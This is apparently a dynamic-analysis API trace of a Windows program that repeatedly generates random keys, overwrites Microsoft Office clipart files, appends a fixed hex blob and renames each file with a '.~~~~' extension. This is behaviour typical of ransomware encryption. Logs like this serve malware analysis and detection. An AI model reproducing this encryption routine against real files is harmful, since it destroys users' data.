	[0119.423] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0119.423] GetLastError () returned 0x0
	[0119.423] GetLastError () returned 0x0
	[0119.457] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffe3ee, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.457] WriteFile (in: hFile=0x130, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1c12, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1c12, lpOverlapped=0x0) returned 1
	[0119.463] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0119.463] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.464] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0119.464] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0119.464] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0119.466] CloseHandle (hObject=0x130) returned 1
	[0119.466] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f7108
	[0119.467] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00211_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00211_.wmf.~~~~")) returned 1
	[0119.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f7108 | out: hHeap=0x300000) returned 1
	[0119.507] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0119.507] GetLastError () returned 0x0
	[0119.508] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942538) returned 1
	[0119.509] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0119.509] CryptReleaseContext (hProv=0x2942538, dwFlags=0x0) returned 1
	[0119.509] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0119.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0119.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0119.510] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23949973717) returned 1
	[0119.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb0b6ebd0, dwHighDateTime=0x1d60e1e)) 
	[0119.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0119.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0119.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0119.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9610
	[0119.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0119.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9610 | out: hHeap=0x300000) returned 1
	[0119.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0119.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0119.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f7108
	[0119.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0119.510] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3d20
	[0119.510] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f7108 | out: hHeap=0x300000) returned 1
	[0119.510] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0119.511] GetLastError () returned 0x0
	[0119.511] GetLastError () returned 0x0
	[0119.511] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0119.511] GetLastError () returned 0x0
	[0119.511] GetLastError () returned 0x0
	[0119.721] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffe440, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0119.721] WriteFile (in: hFile=0x130, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x1bc0, lpOverlapped=0x0) returned 1
	[0119.724] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0119.724] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0119.724] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0119.724] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0119.724] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0119.724] CloseHandle (hObject=0x130) returned 1
	[0119.725] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0119.725] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00218_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00218_.wmf.~~~~")) returned 1
	[0119.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0119.939] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0119.939] GetLastError () returned 0x0
	[0119.940] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942ca8) returned 1
	[0119.941] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0119.941] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0119.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0119.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0119.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0119.941] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=23993122363) returned 1
	[0119.941] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb0f99250, dwHighDateTime=0x1d60e1e)) 
	[0119.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0119.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0119.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0119.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c8b8
	[0119.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0119.941] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8b8 | out: hHeap=0x300000) returned 1
	[0119.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0119.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0119.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0119.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0119.942] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b3e50
	[0119.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0119.942] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0119.942] GetLastError () returned 0x0
	[0119.942] GetLastError () returned 0x0
	[0119.942] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0119.942] GetLastError () returned 0x0
	[0119.942] GetLastError () returned 0x0
	[0120.017] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffda44, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.017] WriteFile (in: hFile=0x130, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x25bc, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x1f8fec0*=0x25bc, lpOverlapped=0x0) returned 1
	[0120.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0120.091] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.091] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.091] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.091] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.091] CloseHandle (hObject=0x130) returned 1
	[0120.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.091] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00116_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00116_.wmf.~~~~")) returned 1
	[0120.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.093] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0120.093] GetLastError () returned 0x0
	[0120.094] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942ca8) returned 1
	[0120.095] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.095] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0120.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0120.095] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24008520751) returned 1
	[0120.095] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb10efeb0, dwHighDateTime=0x1d60e1e)) 
	[0120.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0120.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0120.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0120.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9a00
	[0120.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9a00 | out: hHeap=0x300000) returned 1
	[0120.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
	[0120.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.096] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b47d0
	[0120.096] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.096] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0120.096] GetLastError () returned 0x0
	[0120.096] GetLastError () returned 0x0
	[0120.096] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0120.097] GetLastError () returned 0x0
	[0120.097] GetLastError () returned 0x0
	[0120.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffdebe, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.136] WriteFile (in: hFile=0x130, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x2142, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x2142, lpOverlapped=0x0) returned 1
	[0120.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.138] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.138] WriteFile (in: hFile=0x130, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.139] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.139] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.139] CloseHandle (hObject=0x130) returned 1
	[0120.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.139] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00178_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00178_.wmf.~~~~")) returned 1
	[0120.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.141] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0120.141] GetLastError () returned 0x0
	[0120.152] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942ca8) returned 1
	[0120.154] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.154] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.154] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0120.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0120.154] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24014431333) returned 1
	[0120.154] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb1188430, dwHighDateTime=0x1d60e1e)) 
	[0120.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0120.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0120.154] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0120.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9aa8
	[0120.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9aa8 | out: hHeap=0x300000) returned 1
	[0120.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f78e8
	[0120.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0120.155] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b4998
	[0120.155] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f78e8 | out: hHeap=0x300000) returned 1
	[0120.155] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0120.155] GetLastError () returned 0x0
	[0120.156] GetLastError () returned 0x0
	[0120.156] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0120.156] GetLastError () returned 0x0
	[0120.156] GetLastError () returned 0x0
	[0120.173] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff720, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0120.173] WriteFile (in: hFile=0x128, lpBuffer=0x29fd0a0*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x29fd0a0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8e0, lpOverlapped=0x0) returned 1
	[0120.175] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29fd0a0 | out: hHeap=0x300000) returned 1
	[0120.175] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0120.176] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0120.176] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0120.176] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0120.176] CloseHandle (hObject=0x128) returned 1
	[0120.176] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6928
	[0120.176] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TR00402_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tr00402_.wmf.~~~~")) returned 1
	[0120.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6928 | out: hHeap=0x300000) returned 1
	[0120.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0120.178] GetLastError () returned 0x0
	[0120.178] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x2942ca8) returned 1
	[0120.179] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0120.179] CryptReleaseContext (hProv=0x2942ca8, dwFlags=0x0) returned 1
	[0120.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0120.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0120.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0120.180] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=24016985435) returned 1
	[0120.180] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xb11d46f0, dwHighDateTime=0x1d60e1e)) 
	[0120.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0120.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0120.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0120.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9b18
	[0120.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0120.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9b18 | out: hHeap=0x300000) returned 1
	[0120.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0120.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0120.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6928
